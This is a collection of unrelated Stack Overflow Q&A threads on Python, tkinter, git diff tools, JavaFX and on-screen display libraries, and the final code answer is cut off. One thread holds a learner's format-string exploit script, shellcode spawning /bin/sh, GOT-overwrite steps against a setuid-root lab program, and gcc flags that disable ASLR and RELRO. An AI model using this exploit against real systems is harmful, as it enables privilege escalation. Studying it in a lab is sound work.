There are many reasons since it does not work.. first simplify the problem! This is a working initial example: ``` import random def RollDice(): die1 = random.randint(1, 6) die2 = random.randint(1, 6) diesum = die1 + die2 print(diesum) return diesum def Craps(diesum): craps = [2, 3, 12] natural = [7, 11] established = [4, 5, 6, 8, 9, 10] for x in craps: if diesum == x: print("> You lost") for x in natural: if diesum == x: print("> You Win") for x in established: if diesum == x: print("> Point is ", diesum) diesum = RollDice() Craps(diesum) ``` Now write the second part of the game.. and be careful with indentation with Python!
64,575,063
``` import pandas as pd data = pd.read_excel (r'C:\Users\royli\Downloads\Product List.xlsx',sheet_name='Sheet1' ) df = pd.DataFrame(data, columns= ['Product']) print (df) ``` *****Error Message***** ``` Traceback (most recent call last): File "main.py", line 3, in <module> Traceback (most recent call last): File "main.py", line 3, in <module> data = pd.read_excel (r'C:\Users\royli\Downloads\Product List.xlsx',sheet_name='Sheet1' ) File "/opt/virtualenvs/python3/lib/python3.8/site-packages/pandas/util/_decorators.py", line 296, in wrapper return func(*args, **kwargs) File "/opt/virtualenvs/python3/lib/python3.8/site-packages/pandas/io/excel/_base.py", line 304, in read_excel io = ExcelFile(io, engine=engine) File "/opt/virtualenvs/python3/lib/python3.8/site-packages/pandas/io/excel/_base.py", line 867, in __init__ self._reader = self._engines[engine](self._io) File "/opt/virtualenvs/python3/lib/python3.8/site-packages/pandas/io/excel/_xlrd.py", line 22, in __init__ super().__init__(filepath_or_buffer) File "/opt/virtualenvs/python3/lib/python3.8/site-packages/pandas/io/excel/_base.py", line 353, in __init__ self.book = self.load_workbook(filepath_or_buffer) File "/opt/virtualenvs/python3/lib/python3.8/site-packages/pandas/io/excel/_xlrd.py", line 37, in load_workbook return open_workbook(filepath_or_buffer) File "/opt/virtualenvs/python3/lib/python3.8/site-packages/xlrd/__init__.py", line 111, in open_workbook with open(filename, "rb") as f: FileNotFoundError: [Errno 2] No such file or directory: 'C:\\Users\\royli\\Downloads\\Product List.xlsx'  KeyboardInterrupt  ```
2020/10/28
[ "https://Stackoverflow.com/questions/64575063", "https://Stackoverflow.com", "https://Stackoverflow.com/users/14526349/" ]
There are 3 ways to solve this: 1. If the git repository is on your Windows machine, [configure Beyond Compare as an external difftool](https://www.scootersoftware.com/support.php?zz=kb_vcs#gitwindows), then run `git difftool --dir-diff` to launch a diff in the Folder Compare. 2. If you can install Beyond Compare for Linux on the remote machine, another option is to configure Beyond Compare as the diff tool for git on that machine, use an X-Window client on your Windows machine to [display BC for Linux remotely](https://www.scootersoftware.com/support.php?zz=kb_linuxremote), then run `git difftool --dir-diff`. 3. Export the revisions to be compared on the Linux machine to folders, then use Beyond Compare 4 Pro's built-in SFTP support to load the two folders in the Folder Compare on your Windows machine. `bcompare.exe sftp://user@server/1 sftp://user@server/2`
I just faced a similar problem, and wrote a script to allow using Beyond Compare as a Git difftool, with BC being installed locally, and the Git workspace residing on a remote machine: <https://github.com/mbikovitsky/beyond-ssh>.
69,792,060
I'm fairly new to programming in general and have been learning python3 for the last week or so. I tried building a dice roller and ran into an issue when asking the user if they wanted to repeat the roller or end the program. ``` import random as dice d100 = dice.randint(1,100) d20 = dice.randint(1,20) d10 = dice.randint(1,10) d8 = dice.randint(1,8) d6 = dice.randint(1,6) d4 = dice.randint(1,4) d2 = dice.randint(1,2) repeat = 'Y' while repeat == 'Y' or 'y' or 'yes' or 'Yes': roll = (input('What would you like to roll? A d100, d20, d10, d8, d6, d4, or d2?:')) quantity = (input('How many would you like to roll?')) quantity = int(quantity) if roll == 'd100': print('You rolled a: ' + str(d100 * quantity) + '!') elif roll == 'd20': print('You rolled a: ' + str(d20 * quantity) + '!') elif roll == 'd10': print('You rolled a: ' + str(d10 * quantity) + '!') elif roll == 'd8': print('You rolled a: ' + str(d8 * quantity) + '!') elif roll == 'd6': print('You rolled a: ' + str(d6 * quantity) + '!') elif roll == 'd4': print('You rolled a: ' + str(d4 * quantity) + '!') elif roll == 'd2': print('You rolled a: ' + str(d2 * quantity) + '!') else: print('That is not an available die! Please select a die.') repeat = input('Would you like to continue?: ') if repeat == 'yes' or 'Y' or 'y' or 'Yes': continue ``` As of right now, despite what is input for the repeat variable it always continues even if it isn't "yes", "Y", "y", or "Yes". I'm sure the answer is simple and right in front of me but I'm stumped! Thanks in advance!
2021/11/01
[ "https://Stackoverflow.com/questions/69792060", "https://Stackoverflow.com", "https://Stackoverflow.com/users/17296020/" ]
It's a problem of precedence: `repeat == 'Y' or 'y' or 'yes' or 'Yes'` is interpreted as `(repeat == 'Y') or 'y' or 'yes' or 'Yes'` and then it tries to check whether `'y'` counts as true, which it does (it's a non-empty string). What you want is `while repeat in ('Y', 'y', 'yes', 'Yes'):` By the way, you don't need the `if` statement at the end of the loop since it will exit automatically if `repeat` is something other than `'Y'`, `'y'`, `'yes'`, or `'Yes'`.
Two things `continue` means go to the top of the loop (and then check whether to re-enter it), not guaranteed to go through the loop again. It might be better named skip because it really means "skip the rest of this iteration". Hence you don't need `if ... continue` because you're already at the end of the iteration. The real loop control is what follows `while`. You've made a common mistake by assuming Python can group those `or` operators as one set of options opposite the `==`. It can't. Only the first string is compared to `repeat` and the others are treated as individual conditions. A string on its own is `True` as long as it's not empty. Hence Python reads that as > > while `repeat` is `'Y'`, or `'y'` is not empty, or `'Yes'` is not empty, or `'yes'` is not empty > > > Since all three of those strings are by definition not empty, it doesn't matter if `repeat` is `'Y'`, the whole condition will always be `True`. The way to do multiple options for equality is `while repeat in ('Yes', 'yes', 'Y', 'y')` This means that `repeat` must appear in that list of options. Note that you can simplify by normalizing or casefolding repeat. `while repeat.upper() in ('Y', 'YES')` Or be even simpler and less strict `while repeat.upper().startswith('Y')` You should also strip `repeat` to further eliminate user error of whitespace: `while repeat.strip().upper().startswith('Y')` Then you begin to arrive at a best practice for user-ended loops :)
71,164,536
I'm just trying to make a very simple entry widget and grid it on the window but I keep getting an error. Anyway I can fix it? code: ``` e = tk.Entry(root, borderwidth=5, width=35) e.grid(root, row=0,column=0, columnspan=3, padx=10, pady=10) ``` Error: ``` Traceback (most recent call last): File "C:\Users\mosta\PycharmProjects\pythonProject\main.py", line 298, in <module> e.grid(root, row=0, column=0, columnspan=3, padx=10, pady=10) File "C:\Users\mosta\AppData\Local\Programs\Python\Python310\lib\tkinter\__init__.py", line 2522, in grid_configure self.tk.call( _tkinter.TclError: bad option "-bd": must be -column, -columnspan, -in, -ipadx, -ipady, -padx, -pady, -row, -rowspan, or -sticky ```
2022/02/17
[ "https://Stackoverflow.com/questions/71164536", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
You need to remove the argument `root` from the `grid` command. ``` e.grid(row=0,column=0, columnspan=3, padx=10, pady=10) ```
By using the .place() method instead of the .grid() method, I have successfully gotten the Entry widget to work. ``` from tkinter import * root = Tk() e = Entry(root, borderwidth=5) e.place(x=10, y=10, height=25, width=180) ``` I hope that this helps :-)
26,313,761
I know that [**si**](https://stackoverflow.com/questions/12160766/install-packages-with-portable-python "One Stack Overflow question.")[*mi*](https://stackoverflow.com/questions/16754614/adding-libraries-to-portable-python?rq=1 "Another Stack Overflow question.")[**la**](https://stackoverflow.com/questions/13119671/pygame-not-working-with-portable-python "A third Stack Overflow question.")[*r-*](https://stackoverflow.com/questions/2746542/importing-modules-on-portable-python?lq=1 "And a final fourth Stack Overflow question.") questions about installing modules in Portable Python have been asked but I have looked at all of them and another [website](http://portablepython.uservoice.com "The official Portable Python issue reporting website."). I didn't have success. For me, I wanted to **install Pygame on Portable Python 3.2.5.1 (on a memory stick).** I nearly managed to install it successfully but when I typed `import pygame` into the shell window, there was a weird error in one of the files, displayed in the shell. See image below: [![The above described error - if you can't see it, it is also available here.](https://i.stack.imgur.com/kUsaC.png)](https://i.stack.imgur.com/kUsaC.png) **Update**: [*Portable Python*](http://portablepython.com/ "The Portable Python project website") at time of writing has been discontinued (not being developed anymore) and there are other alternatives available in suggested links on their website or internet search engine query results. I have managed to add [the Pygame Python module](http://pygame.org "The Python Pygame module website") to my version of [one of these continuing projects](http://winpython.github.io "WinPython portable Python project website") so this question is not of use to me anymore.
2014/10/11
[ "https://Stackoverflow.com/questions/26313761", "https://Stackoverflow.com", "https://Stackoverflow.com/users/3787376/" ]
Implement your `Oggetto` class using standard JavaFX Properties: ``` import javafx.beans.property.BooleanProperty ; import javafx.beans.property.IntegerProperty ; import javafx.beans.property.SimpleBooleanProperty ; import javafx.beans.property.SimpleIntegerProperty ; public class Oggetto { private final IntegerProperty value = new SimpleIntegerProperty() ; public final IntegerProperty valueProperty() { return value ; } public final int getValue() { return value.get(); } public final void setValue(int value) { this.value.set(value); } private final BooleanProperty valid = new SimpleBooleanProperty(); public final BooleanProperty validProperty() { return valid ; } public final boolean isValid() { return valid.get(); } public final void setValid(boolean valid) { this.valid.set(valid); } public Oggetto(int value, boolean valid) { setValue(value); setValid(valid); } } ``` This may be all you need, as you can just observe the individual properties. But if you want a class that notifies invalidation listeners if either property changes, you can extend `ObjectBinding`: ``` import javafx.beans.binding.ObjectBinding ; public class OggettoObservable extends ObjectBinding { private final Oggetto value ; public OggettoObservable(int value, boolean valid) { this.value = new Oggetto(value, valid); bind(this.value.valueProperty(), this.value.validProperty()); } @Override public Oggetto computeValue() { return value ; } } ```
``` import javafx.beans.InvalidationListener; import javafx.beans.value.ChangeListener; import javafx.beans.value.ObservableValue; public class VerySimply implements ObservableValue<Integer> { private int newValue; public ChangeListener<Integer> listener = new ChangeListener<Integer>() { @Override public void changed(ObservableValue<? extends Integer> observable, Integer oldValue, Integer newValue) { System.out.println(" :) "+ newValue.intValue()); } }; @Override public void addListener(ChangeListener<? super Integer> listener) { } @Override public void removeListener(ChangeListener<? super Integer> listener) { } @Override public Integer getValue() { return newValue; } @Override public void addListener(InvalidationListener listener) { } @Override public void removeListener(InvalidationListener listener) { } public void setNewValue(int newValue) { int oldValue = this.newValue; this.newValue = newValue; listener.changed(this,oldValue,this.newValue); } } ```
60,493,027
I am reading the book Hacking: The art of exploitation and there is a format string exploit example which attempts to overwrite an address of the dtors with the address of a shellcode environment variable. I work on Kali Linux 64-bit and already found out that there are no dtors (destructors of a c program) and so now I try to overwrite the fini\_array or the address of exit in ".got.plt" (I thought this would also work with the partial relro. So not being able to write into got.plt is my biggest problem I seek to get help with). I already verified that the exploit writes the right address to the address given but when I run it with the address of fini\_array or got.plt I get a SIGSEV or "Illegal instruction" error. After reading [this](https://mudongliang.github.io/2016/07/11/relro-a-not-so-well-known-memory-corruption-mitigation-technique.html) I think the problem is that the partial [relro](https://ctf101.org/binary-exploitation/relocation-read-only/) won't let me overwrite fini\_array since it makes fini\_array among many others readonly. This is the python program I use to exploit the vuln program: ``` import struct import sys num = 0 num1 = 0 num2 = 0 num3 = 0 test_val = 0 if len(sys.argv) > 1: num = int(sys.argv[1], 0) if len(sys.argv) > 2: test_val = int(sys.argv[2], 0) if len(sys.argv) > 3: num1 = int(sys.argv[3], 0)# - num if len(sys.argv) > 4: num2 = int(sys.argv[4], 0)# - num1 - num if len(sys.argv) > 5: num3 = int(sys.argv[5], 0)# - num2 - num1 - num addr1 = test_val+2 addr2 = test_val+4 addr3 = test_val+6 vals = sorted(((num, test_val), (num1, addr1), (num2, addr2), (num3, addr3))) def pad(s): return s+"X"*(1024-len(s)-32) exploit = "" prev_val = 0 for val, addr in vals: if not val: continue val_here = val - prev_val prev_val = val exploit += "%{}x".format(val_here) if addr == test_val: exploit += "%132$hn" elif addr == addr1: exploit += "%133$hn" elif addr == addr2: exploit += "%134$hn" elif addr == addr3: exploit += "%135$hn" exploit = pad(exploit) exploit += struct.pack("Q", test_val) exploit += struct.pack("Q", addr1) exploit += struct.pack("Q", addr2) exploit += struct.pack("Q", addr3) print pad(exploit) ``` When I pass the address of the shellcode environment variable and the address of fini\_array obtained with ``` objdump -s -j .fini_array ./vuln ``` I just get a SegmentationFault. It is also very strange that this happens as well when I try to overwrite an address in the .got.plt section which actually should not be affected by partial relro which means I should be able to write to it but in reality I can't. Moreover "ld --verbose ./vuln" shows this: ``` .dynamic : { *(.dynamic) } .got : { *(.got) *(.igot) } . = DATA_SEGMENT_RELRO_END (SIZEOF (.got.plt) >= 24 ? 24 : 0, .); .got.plt : { *(.got.plt) *(.igot.plt) } ``` This is proof that .got.plt should not be readonly but why can I not write to it then? Now my question is which workaround (maybe some gcc options) I could use to solve my problem. Even if it was not possible to actually overwrite .fini\_array why do I have the same problem with .got.plt and how can I resolve it? I think that the problem I have with the .got.plt section might come from the fact that I am unable to execute the shellcode as it is part of the buffer. So are there any gcc options to make the buffer executable? Here is vuln.c: ``` include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char *argv[]) { char text[1024]; static int test_val = -72; fgets(text, sizeof(text), stdin); printf("The right way to print user-controlled input:\n"); printf("%s\n", text); printf("The wrong way to print user-controlled input:\n"); printf(text); printf("\n"); printf("[*] test_val @ %p = %d 0x%08x\n", &test_val, test_val, test_val); exit(0); } ``` I compile vuln.c with gcc 9.2.1 like this: ``` gcc -g -o vuln vuln.c sudo chown root:root ./vuln sudo chmod u+s ./vuln ``` This is the shellcode: ``` \x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05 ``` I exported this as a binary into the SHELLCODE variable by copying the above hex into input.txt. Then run: ``` xxd -r -p input.txt output.bin ``` Now export it: ``` export SHELLCODE=$(cat output.bin) ``` The script getenv.c is used to get the address of Shellcode: ``` #include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char const *argv[]) { char *ptr; if (argc < 3) { printf("Usage: %s <environment var> <target program name>\n", argv[0]); exit(0); } ptr = getenv(argv[1]); ptr += (strlen(argv[0]) - strlen(argv[2]))*2; printf("%s will be at %p\n", argv[1], ptr); return 0; } ``` To use it run: ``` ./getenvaddr SHELLCODE ./vuln ``` This tells you which address the SHELLCODE variable will have when you execute the vuln program. Last I find the address of the exit function in the global offset table by: ``` objdump -R ./vuln DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 0000000000003de8 R_X86_64_RELATIVE *ABS*+0x0000000000001170 0000000000003df0 R_X86_64_RELATIVE *ABS*+0x0000000000001130 0000000000004048 R_X86_64_RELATIVE *ABS*+0x0000000000004048 0000000000003fd8 R_X86_64_GLOB_DAT _ITM_deregisterTMCloneTable 0000000000003fe0 R_X86_64_GLOB_DAT __libc_start_main@GLIBC_2.2.5 0000000000003fe8 R_X86_64_GLOB_DAT __gmon_start__ 0000000000003ff0 R_X86_64_GLOB_DAT _ITM_registerTMCloneTable 0000000000003ff8 R_X86_64_GLOB_DAT __cxa_finalize@GLIBC_2.2.5 0000000000004060 R_X86_64_COPY stdin@@GLIBC_2.2.5 0000000000004018 R_X86_64_JUMP_SLOT putchar@GLIBC_2.2.5 0000000000004020 R_X86_64_JUMP_SLOT puts@GLIBC_2.2.5 0000000000004028 R_X86_64_JUMP_SLOT printf@GLIBC_2.2.5 0000000000004030 R_X86_64_JUMP_SLOT fgets@GLIBC_2.2.5 0000000000004038 R_X86_64_JUMP_SLOT exit@GLIBC_2.2.5 ``` Here the address of exit would be 0x4038 Now I write the address of the shellcode let's say 0x7fffffffe5e5 to the address of the exit function 0x4038 so that the program should be redirected into a shell instead of exiting like this: ``` python pyscript.py 0xe5e5 0x4038 0xffff 0x7fff | ./vuln ``` This is the underlying principle: ``` python pyscript.py first_to_bytes_of_shellcode exit_address second_to_bytes_of_shellcode third_to_bytes_of_shellcode optional_fourth_to_bytes_of_shellcode | ./vuln ```
2020/03/02
[ "https://Stackoverflow.com/questions/60493027", "https://Stackoverflow.com", "https://Stackoverflow.com/users/12737461/" ]
Relocations and low addresses like this one: ``` 0000000000003de8 R_X86_64_RELATIVE *ABS*+0x0000000000001170 ``` suggest that the executable has been built as PIE (position-independent executable), with full address space layout randomization (ASLR). This means that the addresses do not match the static view from `objdump` and are disable for each run. Typically, building with `gcc -no-pie` disables ASLR. If you use `gcc -no-pie -Wl,-z,norelro`, you will disable (partial) RELRO as well.
Probably, you can use 「-Wl,-z,norelro」 to disable RELRO.
7,097,058
> > **Possible Duplicate:** > > [How to convert strings into integers in python?](https://stackoverflow.com/questions/642154/how-to-convert-strings-into-integers-in-python) > > > I need to change a list of strings into a list of integers how do i do this i.e ('1', '1', '1', '1', '2') into (1,1,1,1,2).
2011/08/17
[ "https://Stackoverflow.com/questions/7097058", "https://Stackoverflow.com", "https://Stackoverflow.com/users/899084/" ]
Use [list comprehensions](http://docs.python.org/tutorial/datastructures.html#list-comprehensions): ``` strtuple = ('1', '1', '1', '1', '2') intlist = [int(s) for s in strtuple] ``` Stuff for completeness: ======================= As your “list” is in truth a [tuple](http://docs.python.org/library/stdtypes.html#typesseq), i.e. a immutable list, you would have to use a generator expression together with a tuple constructor to get another tuple back: ``` inttuple = tuple(int(s) for s in strtuple) ``` The “generator expression” i talk about looks like this when not wrapped in a constructor call, and returns a generator this way. ``` intgenerator = (int(s) for s in strtuple) ```
Use the `map` function. ``` vals = ('1', '1', '1', '1', '2') result = tuple(map(int, vals)) print result ``` Output: ``` (1, 1, 1, 1, 2) ``` A performance comparison with the list comprehension: ``` from timeit import timeit print timeit("map(int, vals)", "vals = '1', '2', '3', '4'") print timeit("[int(s) for s in strlist]", "strlist = ('1', '1', '1', '1', '2')") ``` Output: ``` 3.08675879197 4.08549801721 ``` And with longer lists: ``` print timeit("map(int, vals)", "vals = tuple(map(str, range(10000)))", number = 1000) print timeit("[int(s) for s in strlist]", "strlist = tuple(map(str, range(10000)))", number = 1000) ``` Output: ``` 6.2849350965 7.36635214811 ``` It appears that, (on my machine) in this case, the `map` approach is faster than the list comprehension.
7,097,058
> > **Possible Duplicate:** > > [How to convert strings into integers in python?](https://stackoverflow.com/questions/642154/how-to-convert-strings-into-integers-in-python) > > > I need to change a list of strings into a list of integers how do i do this i.e ('1', '1', '1', '1', '2') into (1,1,1,1,2).
2011/08/17
[ "https://Stackoverflow.com/questions/7097058", "https://Stackoverflow.com", "https://Stackoverflow.com/users/899084/" ]
Use [list comprehensions](http://docs.python.org/tutorial/datastructures.html#list-comprehensions): ``` strtuple = ('1', '1', '1', '1', '2') intlist = [int(s) for s in strtuple] ``` Stuff for completeness: ======================= As your “list” is in truth a [tuple](http://docs.python.org/library/stdtypes.html#typesseq), i.e. a immutable list, you would have to use a generator expression together with a tuple constructor to get another tuple back: ``` inttuple = tuple(int(s) for s in strtuple) ``` The “generator expression” i talk about looks like this when not wrapped in a constructor call, and returns a generator this way. ``` intgenerator = (int(s) for s in strtuple) ```
You could use list comprehension which would look roughly like: ``` newList = [int(x) for x in oldList] ```
7,097,058
> > **Possible Duplicate:** > > [How to convert strings into integers in python?](https://stackoverflow.com/questions/642154/how-to-convert-strings-into-integers-in-python) > > > I need to change a list of strings into a list of integers how do i do this i.e ('1', '1', '1', '1', '2') into (1,1,1,1,2).
2011/08/17
[ "https://Stackoverflow.com/questions/7097058", "https://Stackoverflow.com", "https://Stackoverflow.com/users/899084/" ]
Use [list comprehensions](http://docs.python.org/tutorial/datastructures.html#list-comprehensions): ``` strtuple = ('1', '1', '1', '1', '2') intlist = [int(s) for s in strtuple] ``` Stuff for completeness: ======================= As your “list” is in truth a [tuple](http://docs.python.org/library/stdtypes.html#typesseq), i.e. a immutable list, you would have to use a generator expression together with a tuple constructor to get another tuple back: ``` inttuple = tuple(int(s) for s in strtuple) ``` The “generator expression” i talk about looks like this when not wrapped in a constructor call, and returns a generator this way. ``` intgenerator = (int(s) for s in strtuple) ```
``` map(int, ls) ``` Where `ls` is your list of strings.
7,097,058
> > **Possible Duplicate:** > > [How to convert strings into integers in python?](https://stackoverflow.com/questions/642154/how-to-convert-strings-into-integers-in-python) > > > I need to change a list of strings into a list of integers how do i do this i.e ('1', '1', '1', '1', '2') into (1,1,1,1,2).
2011/08/17
[ "https://Stackoverflow.com/questions/7097058", "https://Stackoverflow.com", "https://Stackoverflow.com/users/899084/" ]
Use the `map` function. ``` vals = ('1', '1', '1', '1', '2') result = tuple(map(int, vals)) print result ``` Output: ``` (1, 1, 1, 1, 2) ``` A performance comparison with the list comprehension: ``` from timeit import timeit print timeit("map(int, vals)", "vals = '1', '2', '3', '4'") print timeit("[int(s) for s in strlist]", "strlist = ('1', '1', '1', '1', '2')") ``` Output: ``` 3.08675879197 4.08549801721 ``` And with longer lists: ``` print timeit("map(int, vals)", "vals = tuple(map(str, range(10000)))", number = 1000) print timeit("[int(s) for s in strlist]", "strlist = tuple(map(str, range(10000)))", number = 1000) ``` Output: ``` 6.2849350965 7.36635214811 ``` It appears that, (on my machine) in this case, the `map` approach is faster than the list comprehension.
You could use list comprehension which would look roughly like: ``` newList = [int(x) for x in oldList] ```
7,097,058
> > **Possible Duplicate:** > > [How to convert strings into integers in python?](https://stackoverflow.com/questions/642154/how-to-convert-strings-into-integers-in-python) > > > I need to change a list of strings into a list of integers how do i do this i.e ('1', '1', '1', '1', '2') into (1,1,1,1,2).
2011/08/17
[ "https://Stackoverflow.com/questions/7097058", "https://Stackoverflow.com", "https://Stackoverflow.com/users/899084/" ]
``` map(int, ls) ``` Where `ls` is your list of strings.
You could use list comprehension which would look roughly like: ``` newList = [int(x) for x in oldList] ```
429,648
Is there a library to do pretty on screen display with Python (mainly on Linux but preferably available on other OS too) ? I know there is python-osd but it uses [libxosd](http://sourceforge.net/projects/libxosd) which looks quite old. I would not call it *pretty*. Maybe a Python binding for [libaosd](http://cia.vc/stats/project/libaosd). But I did not find any.
2009/01/09
[ "https://Stackoverflow.com/questions/429648", "https://Stackoverflow.com", "https://Stackoverflow.com/users/49808/" ]
Actually, xosd isn't all that old; I went to university with the original author (Andre Renaud, who is a superlative programmer). It is quite low level, but pretty simple - xosd.c is only 1365 lines long. It wouldn't be hard to tweak it to display pretty much anything you want.
Using PyGTK on X it's possible to scrape the screen background and composite the image with a standard Pango layout. I have some code that does this at <http://svn.sacredchao.net/svn/quodlibet/trunk/plugins/events/animosd.py>. It's a bit ugly and long, but mostly straightforward.
429,648
Is there a library to do pretty on screen display with Python (mainly on Linux but preferably available on other OS too) ? I know there is python-osd but it uses [libxosd](http://sourceforge.net/projects/libxosd) which looks quite old. I would not call it *pretty*. Maybe a Python binding for [libaosd](http://cia.vc/stats/project/libaosd). But I did not find any.
2009/01/09
[ "https://Stackoverflow.com/questions/429648", "https://Stackoverflow.com", "https://Stackoverflow.com/users/49808/" ]
Actually, xosd isn't all that old; I went to university with the original author (Andre Renaud, who is a superlative programmer). It is quite low level, but pretty simple - xosd.c is only 1365 lines long. It wouldn't be hard to tweak it to display pretty much anything you want.
Building upon the answer from @user79758, the `animosd.py` link in that post is no longer available, but this one still is: <http://hefesto.intra.ial.sp.gov.br/share/pyshared/quodlibet/plugins/events/animosd.py> ([archive](http://web.archive.org/web/20190711182113/http://hefesto.intra.ial.sp.gov.br/share/pyshared/quodlibet/plugins/events/animosd.py)). Regardless, it was a part of `quodlibet` music player, which still exists in Ubuntu 18.04; I installed it with ``` sudo apt install quodlibet ``` Then, it's not exactly trivial to get a minimal example; mine is included below as `animosd_test.py`; simply run it with: ``` python2 animosd_test.py ``` You'll get this: [![animost_test](https://i.stack.imgur.com/i8bnV.gif)](https://i.stack.imgur.com/i8bnV.gif) `animosd_test.py`: ``` #!/usr/bin/env python2 #from quodlibet.ext.events.animosd.osdwindow import OSDWindow import sys import os from collections import namedtuple from quodlibet.packages.senf import environ, argv as sys_argv from quodlibet.cli import process_arguments, exit_ import quodlibet try: # we want basic commands not to import gtk (doubles process time) assert "gi.repository.Gtk" not in sys.modules sys.modules["gi.repository.Gtk"] = None startup_actions, cmds_todo = process_arguments(sys_argv) finally: sys.modules.pop("gi.repository.Gtk", None) quodlibet.init() #from quodlibet.ext.events import animosd from quodlibet.ext.events.animosd import osdwindow from quodlibet.ext.events.animosd.config import get_config from quodlibet.ext.events.animosd.osdwindow import OSDWindow from quodlibet.util import cached_property, print_exc #~ window = OSDWindow(self.Conf, song) #~ window.add_events(Gdk.EventMask.BUTTON_PRESS_MASK) #~ window.connect('button-press-event', self.__buttonpress) #~ window.connect('fade-finished', self.__fade_finished) #~ self.__current_window = window #~ window.set_opacity(0.0) #~ window.show() #~ window.fade_in() from gi.repository import Gtk, GObject, GLib, Pango, PangoCairo, Gdk from quodlibet import qltk import cairo from math import pi class OSDWindowMin(Gtk.Window): __gsignals__ = { 'fade-finished': (GObject.SignalFlags.RUN_LAST, None, (bool,)), } POS_X = 0.5 """position of window 0--1 horizontal""" MARGIN = 50 """never any closer to the screen edge than this""" BORDER = 20 """text/cover this far apart, from edge""" FADETIME = 0.3 """take this many seconds to fade in or out""" MS = 40 """wait this many milliseconds between steps""" @cached_property def Conf(self): return get_config('animosd') #def __init__(self, conf, song): def __init__(self): Gtk.Window.__init__(self, Gtk.WindowType.POPUP) self.set_type_hint(Gdk.WindowTypeHint.NOTIFICATION) screen = self.get_screen() rgba = screen.get_rgba_visual() if rgba is not None: self.set_visual(rgba) #self.conf = conf self.conf = self.Conf self.iteration_source = None self.fading_in = False self.fade_start_time = 0 mgeo = screen.get_monitor_geometry(self.conf.monitor) textwidth = mgeo.width - 2 * (self.BORDER + self.MARGIN) scale_factor = self.get_scale_factor() #cover_pixbuf = app.cover_manager.get_pixbuf( # song, conf.coversize * scale_factor, conf.coversize * scale_factor) coverheight = 0 coverwidth = 0 #~ if cover_pixbuf: #~ self.cover_surface = get_surface_for_pixbuf(self, cover_pixbuf) #~ coverwidth = cover_pixbuf.get_width() // scale_factor #~ coverheight = cover_pixbuf.get_height() // scale_factor #~ textwidth -= coverwidth + self.BORDER #~ else: #~ self.cover_surface = None self.cover_surface = None layout = self.create_pango_layout('') layout.set_alignment((Pango.Alignment.LEFT, Pango.Alignment.CENTER, Pango.Alignment.RIGHT)[self.conf.align]) layout.set_spacing(Pango.SCALE * 7) layout.set_font_description(Pango.FontDescription(self.conf.font)) #try: # layout.set_markup(pattern.XMLFromMarkupPattern(conf.string) % song) #except pattern.error: # layout.set_markup("") layout.set_markup("AAAA") layout.set_width(Pango.SCALE * textwidth) layoutsize = layout.get_pixel_size() if layoutsize[0] < textwidth: layout.set_width(Pango.SCALE * layoutsize[0]) layoutsize = layout.get_pixel_size() self.title_layout = layout winw = layoutsize[0] + 2 * self.BORDER if coverwidth: winw += coverwidth + self.BORDER winh = max(coverheight, layoutsize[1]) + 2 * self.BORDER self.set_default_size(winw, winh) rect = namedtuple("Rect", ["x", "y", "width", "height"]) rect.x = self.BORDER rect.y = (winh - coverheight) // 2 rect.width = coverwidth rect.height = coverheight self.cover_rectangle = rect winx = int((mgeo.width - winw) * self.POS_X) winx = max(self.MARGIN, min(mgeo.width - self.MARGIN - winw, winx)) winy = int((mgeo.height - winh) * self.conf.pos_y) winy = max(self.MARGIN, min(mgeo.height - self.MARGIN - winh, winy)) self.move(winx + mgeo.x, winy + mgeo.y) def do_draw(self, cr): if self.is_composited(): self.draw_title_info(cr) else: # manual transparency rendering follows walloc = self.get_allocation() wpos = self.get_position() if not getattr(self, "_bg_sf", None): # copy the root surface into a temp image surface root_win = self.get_root_window() bg_sf = cairo.ImageSurface(cairo.FORMAT_ARGB32, walloc.width, walloc.height) pb = Gdk.pixbuf_get_from_window( root_win, wpos[0], wpos[1], walloc.width, walloc.height) bg_cr = cairo.Context(bg_sf) Gdk.cairo_set_source_pixbuf(bg_cr, pb, 0, 0) bg_cr.paint() self._bg_sf = bg_sf if not getattr(self, "_fg_sf", None): # draw the window content in another temp surface fg_sf = cairo.ImageSurface(cairo.FORMAT_ARGB32, walloc.width, walloc.height) fg_cr = cairo.Context(fg_sf) fg_cr.set_source_surface(fg_sf) self.draw_title_info(fg_cr) self._fg_sf = fg_sf # first draw the background so we have 'transparancy' cr.set_operator(cairo.OPERATOR_SOURCE) cr.set_source_surface(self._bg_sf) cr.paint() # then draw the window content with the right opacity cr.set_operator(cairo.OPERATOR_OVER) cr.set_source_surface(self._fg_sf) cr.paint_with_alpha(self.get_opacity()) @staticmethod def rounded_rectangle(cr, x, y, radius, width, height): cr.move_to(x + radius, y) cr.line_to(x + width - radius, y) cr.arc(x + width - radius, y + radius, radius, - 90.0 * pi / 180.0, 0.0 * pi / 180.0) cr.line_to(x + width, y + height - radius) cr.arc(x + width - radius, y + height - radius, radius, 0.0 * pi / 180.0, 90.0 * pi / 180.0) cr.line_to(x + radius, y + height) cr.arc(x + radius, y + height - radius, radius, 90.0 * pi / 180.0, 180.0 * pi / 180.0) cr.line_to(x, y + radius) cr.arc(x + radius, y + radius, radius, 180.0 * pi / 180.0, 270.0 * pi / 180.0) cr.close_path() @property def corners_factor(self): if self.conf.corners != 0: return 0.14 return 0.0 def draw_conf_rect(self, cr, x, y, width, height, radius): if self.conf.corners != 0: self.rounded_rectangle(cr, x, y, radius, width, height) else: cr.rectangle(x, y, width, height) def draw_title_info(self, cr): cr.save() do_shadow = (self.conf.shadow[0] != -1.0) do_outline = (self.conf.outline[0] != -1.0) self.set_name("osd_bubble") qltk.add_css(self, """ #osd_bubble { background-color:rgba(0,0,0,0); } """) cr.set_operator(cairo.OPERATOR_OVER) cr.set_source_rgba(*self.conf.fill) radius = min(25, self.corners_factor * min(*self.get_size())) self.draw_conf_rect(cr, 0, 0, self.get_size()[0], self.get_size()[1], radius) cr.fill() # draw border if do_outline: # Make border darker and more translucent than the fill f = self.conf.fill rgba = (f[0] / 1.25, f[1] / 1.25, f[2] / 1.25, f[3] / 2.0) cr.set_source_rgba(*rgba) self.draw_conf_rect(cr, 1, 1, self.get_size()[0] - 2, self.get_size()[1] - 2, radius) cr.set_line_width(2.0) cr.stroke() textx = self.BORDER if self.cover_surface is not None: rect = self.cover_rectangle textx += 